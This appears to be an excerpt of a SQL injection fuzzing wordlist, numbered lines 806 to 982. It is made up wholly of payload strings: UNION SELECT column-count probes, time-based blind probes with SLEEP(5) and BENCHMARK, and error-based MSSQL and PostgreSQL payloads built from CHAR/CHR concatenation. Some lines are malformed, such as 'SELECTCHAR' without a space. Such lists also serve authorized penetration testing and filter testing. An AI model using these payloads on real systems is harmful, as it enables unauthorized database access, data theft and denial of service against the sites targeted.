+ UNION ALL SELECT 1,2,3--
806
+ UNION ALL SELECT 1,2,3,4--
807
+ UNION ALL SELECT 1,2,3,4,5--
808
+ UNION ALL SELECT 1,2,3,4,5,6--
809
+ UNION ALL SELECT 1,2,3,4,5,6,7--
810
+ UNION ALL SELECT 1,2,3,4,5,6,7,8--
811
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
812
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
813
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--
814
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12--
815
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13--
816
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
817
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
818
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
819
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
820
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
821
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
822
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
823
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
824
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
825
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
826
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
827
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
828
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
829
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
830
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
831
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
832
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
833
+ UNION SELECT @@VERSION,SLEEP(5),3
834
+ UNION SELECT @@VERSION,SLEEP(5),USER(),4
835
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
836
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
837
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
838
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8
839
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9
840
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
841
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
842
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
843
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
844
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
845
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
846
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16
847
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17
848
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18
849
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
850
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
851
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
852
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
853
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
854
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
855
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
856
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
857
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
858
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
859
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
860
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
861
+ UNION SELECT @@VERSION,SLEEP(5),"'3
862
+ UNION SELECT @@VERSION,SLEEP(5),"'3'"#
863
+ UNION SELECT @@VERSION,SLEEP(5),USER(),4#
864
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#
865
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
866
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
867
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#
868
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
869
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
870
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
871
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
872
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
873
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
874
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
875
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
876
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
877
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
878
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
879
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
880
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
881
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
882
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
883
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
884
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
885
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
886
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
887
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
888
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
889
+ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
890
+ UNION ALL SELECT USER()--
891
+ UNION ALL SELECT SLEEP(5)--
892
+ UNION ALL SELECT USER(),SLEEP(5)--
893
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--
894
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))--
895
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL--
896
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL--
897
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL--
898
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL--
899
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL--
900
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL--
901
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
902
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
903
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
904
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
905
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
906
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
907
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
908
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
909
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
910
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
911
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
912
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
913
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
914
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
915
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
916
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
917
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
918
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
919
+ UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
920
+ UNION ALL SELECT NULL--
921
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))--
922
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))--
923
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))--
924
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
925
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
926
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
927
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))--
928
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))--
929
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))--
930
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))--
931
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))--
932
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))--
933
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))--
934
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))--
935
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))--
936
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))--
937
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))--
938
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))--
939
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))--
940
+ UNION ALL SELECT NULL#
941
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
942
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
943
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
944
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
945
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
946
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
947
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
948
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
949
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#
950
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
951
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
952
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#
953
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
954
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
955
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
956
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
957
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
958
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
959
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
960
+ UNION ALL SELECT NULL
961
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
962
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
963
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
964
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
965
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
966
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
967
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))
968
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
969
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))
970
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
971
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
972
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))
973
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
974
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
975
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
976
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
977
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
978
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
979
+ AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
980
+ AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
981
+ AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
982
